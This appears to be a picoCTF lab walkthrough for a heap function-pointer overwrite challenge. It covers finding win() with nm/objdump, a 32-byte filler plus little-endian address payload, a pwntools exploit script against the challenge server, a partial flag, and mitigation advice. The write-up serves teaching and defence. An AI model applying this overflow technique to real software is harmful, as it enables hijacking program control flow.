Description
Can you handle function pointers?
Setup
Download chall and chall.c for local reversing.
Confirm the binary is 64-bit ELF before relying on 8-byte little-endian addresses.
Connect to mimas.picoctf.net <PORT_FROM_INSTANCE> to exploit the live service.
wget https://artifacts.picoctf.net/c_mimas/51/chall && \
chmod +x chall && \
wget https://artifacts.picoctf.net/c_mimas/51/chall.cfile challnc mimas.picoctf.net <PORT_FROM_INSTANCE>Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Find win()
ObservationThis one extends heap-0 and heap-1 into function pointer overwrites, which means there is a win() function somewhere in the binary at a fixed non-PIE address. Find it before writing the payload.Use nm chall | grep win (or objdump -D chall | grep '<win>:') to read the win() address (0x4011a0). The payload must encode it in 8-byte little-endian.bashnm chall | grep winbashobjdump -D chall | grep '<win>:'Expected output
00000000004011a0 T win 00000000004011a0 <win>:
What didn't work first
Tried: Run objdump -D chall | grep win without anchoring on the angle-bracket form
An unanchored grep matches anything containing 'win', including relocation entries and words like 'winning'. The extra lines make it easy to copy the wrong address. Anchoring on '<win>:' picks out the disassembly label alone.
Tried: Assume the win() address will change each run because ASLR is enabled system-wide
ASLR randomizes the stack and mmap regions, but not the code segment of a non-PIE executable. Without -pie at link time, .text always maps at the same address. Confirm with file chall: if it reports 'LSB executable' rather than 'LSB pie executable', the win() address is static and safe to hardcode.
Learn more
A win function (also called a "magic function" or "backdoor function") lives in the binary but never runs during normal execution; it exists solely to be reached via exploitation.
nm chall | grep winreads the symbol table directly and prints one tidy line:00000000004011a0 T win.objdump -D chall | grep winalso works but pulls in relocation entries and any string that happens to contain "win", so anchoring on'<win>:'filters the noise.Since the binary is compiled without PIE (Position-Independent Executable), this address is fixed across runs. With PIE enabled you would need to leak the base address first (via a format string or info disclosure bug) and compute
win()at runtime.The 64-bit address
0x00000000004011a0maps to the byte sequence\xa0\x11\x40\x00\x00\x00\x00\x00in little-endian: lowest byte first. Each pair of hex digits is one byte; the high bytes are zeros because the address fits comfortably below 2^32.On a real binary without a win() function, you would instead redirect execution to a ROP gadget or shellcode. The win() function is a training-wheels simplification used in CTF challenges to focus learning on the overflow mechanic without requiring knowledge of ROP chains.
Step 2Craft the payload
ObservationA 32-byte buffer sits immediately before a function pointer in the adjacent struct. Fill exactly 32 bytes, then write the win() address in little-endian order.Overflow the 32-byte buffer with filler followed by the little-endian win() pointer (\xa0\x11\x40\x00\x00\x00\x00\x00).bashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\x00\x00\x00\x00What didn't work first
Tried: Send the win() address in big-endian order as \x00\x00\x00\x00\x00\x40\x11\xa0
x86-64 stores multi-byte values lowest byte first. Write the address big-endian and the CPU reads back something like 0xa011400000000000, a non-canonical address, so the jump faults instead of reaching win().
Tried: Use only 31 bytes of filler instead of 32 before the address bytes
The buffer is 32 bytes. Send 31 A's and the first address byte lands at offset 31, still inside the buffer, shifting everything one position early. The pointer field then starts with the second address byte, giving a wrong 8-byte value and a crash.
Learn more
Little-endian byte order means the least significant byte is stored first. The address
0x4011a0in little-endian 64-bit representation is\xa0\x11\x40\x00\x00\x00\x00\x00(lowest byte first). When the program reads this 8-byte sequence from the heap as a 64-bit pointer, it reconstructs0x00000000004011a0- the correct function pointer value.Heap layout immediately after the overflowing fgets(): offset 0 8 16 24 32 40 | | | | | | | | buffer-> | 'A'x32 ........................ |fp | +----- 32 bytes of filler -------+----+ | +-- the function pointer field of the next heap object After write: buffer[0..31] = "AAAAAAAAA...AAAA" buffer[32..39] = \xa0\x11\x40\x00\x00\x00\x00\x00 ^^^^^^^^^^^^^^^^ read back as uint64_t = 0x00000000004011a0 (win) Trigger: menu option 4 calls fp() -> jumps to win() -> flag printedGetting byte order right is one of the most common sources of bugs in exploit development. pwntools provides
p64(address)to pack a 64-bit value in little-endian format andp32(address)for 32-bit values. Using these helpers avoids manual byte reversal errors, especially for addresses with zeros in unexpected positions.The 8-byte pointer size is specific to 64-bit systems (x86-64, arm64). On 32-bit systems, pointers are 4 bytes and addresses fit in a single word. When exploiting a binary, always verify the word size - it affects pointer sizes, stack alignment requirements, and calling conventions.
Function pointer overwrites were historically one of the most powerful heap exploit primitives. By overwriting a function pointer stored on the heap (like a callback, a vtable entry, or a longjmp buffer), an attacker redirects execution to arbitrary code the next time the pointer is called. Modern mitigations like CFI (Control Flow Integrity) and CET (Control-flow Enforcement Technology) restrict where function pointers can jump, limiting this attack class.
Step 3Automate with pwntools
ObservationPiping raw bytes to nc gets out of step with the menu when the server pauses between prompts. sendlineafter waits for each prompt before sending, which keeps the sequence aligned through to option 4.Use pwntools to wait for each prompt before sending. p.sendlineafter ensures the server is ready, then option 4 triggers the overwritten function pointer.pythonfrom pwn import * p = remote('mimas.picoctf.net', PORT) p.sendlineafter(b'option:', b'2') p.sendlineafter(b'data:', b'A' * 32 + p64(0x4011a0)) p.sendlineafter(b'option:', b'4') print(p.recvall(timeout=2).decode())If you don't want pwntools, the shell fallback is
printf '2\nAAAA...AAAA\xa0\x11\x40\x00\x00\x00\x00\x00\n4\n' | nc mimas.picoctf.net <PORT_FROM_INSTANCE>(32 A's plus the packed pointer). The catch: when the server prints prompts with delays, your whole payload may be buffered and arrive before the read is opened, so the response either hangs silently or comes back as "invalid option" instead of crashing.What didn't work first
Tried: Pipe the payload directly with printf and nc instead of using sendlineafter
Piping the whole sequence at once sends every byte before the server has printed its prompts. Option 2 is read correctly, but the following fgets() can take part of the remaining input early, splitting the filler and the address across two reads. You get an invalid option message or a silent hang.
Tried: Send menu option 4 before option 2 to try to trigger win() directly
Until option 2 runs, the pointer field still holds its original callback. Option 4 then calls that untouched value, which just reprints the menu or segfaults on a null. Overwrite first; only then does option 4 land in win().
Learn more
p64(0x4011a0)packs the address as 8 little-endian bytes (\xa0\x11\x40\x00\x00\x00\x00\x00) without any manual escaping. This is the canonical way to write 64-bit addresses in pwntools and avoids the most common byte-order bug in exploit scripts.sendlineafterreads server output until it sees the prompt, then sends the payload. That synchronization is what the shell one-liner lacks: a bufferedprintf | ncwill fire all input at once, and if the server hasn't opened its read yet, the bytes pile up in the pipe and either get consumed against the wrong prompt (silent failure) or trigger a "please choose a valid option" loop that hides the actual win() call.The menu option sequence (2 โ write payload โ 4 โ trigger) demonstrates how exploit steps must be sequenced correctly. Attempting option 4 before option 2 would fail because the function pointer hasn't been overwritten yet; careful sequencing combined with response verification at each step is the hallmark of reliable exploit automation.
Once win() executes, it typically calls
system("/bin/sh")or directly reads and prints the flag file. Either way, execution has been redirected to attacker-chosen code, which is the definition of arbitrary code execution. From this point, the attacker has the same capabilities as the program (read files, make network connections, etc.), subject to OS-level permissions.
Interactive tools
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{and_down_the_road_we_go_dbb...}
Overwriting the function pointer with win() immediately prints the flag.
Key takeaway
How to prevent this
How to prevent this
Function pointers in writable memory adjacent to user data are the textbook code-redirection target. Treat them as guarded resources.
- Avoid writable function pointers entirely. Use enums + switch statements for dispatch, or vtables in read-only memory. If a callback is needed, validate the pointer against an allowlist before each call.
- Enable CFI (Control Flow Integrity):
-fsanitize=cfiin Clang, or/guard:cfin MSVC. CFI traps any indirect call to a non-allowlisted target, killing function-pointer hijacks at runtime. - Enable PIE + RELRO + ASLR. Even with arbitrary write, a randomized binary base means the attacker cannot guess the address of
win()without an additional info leak.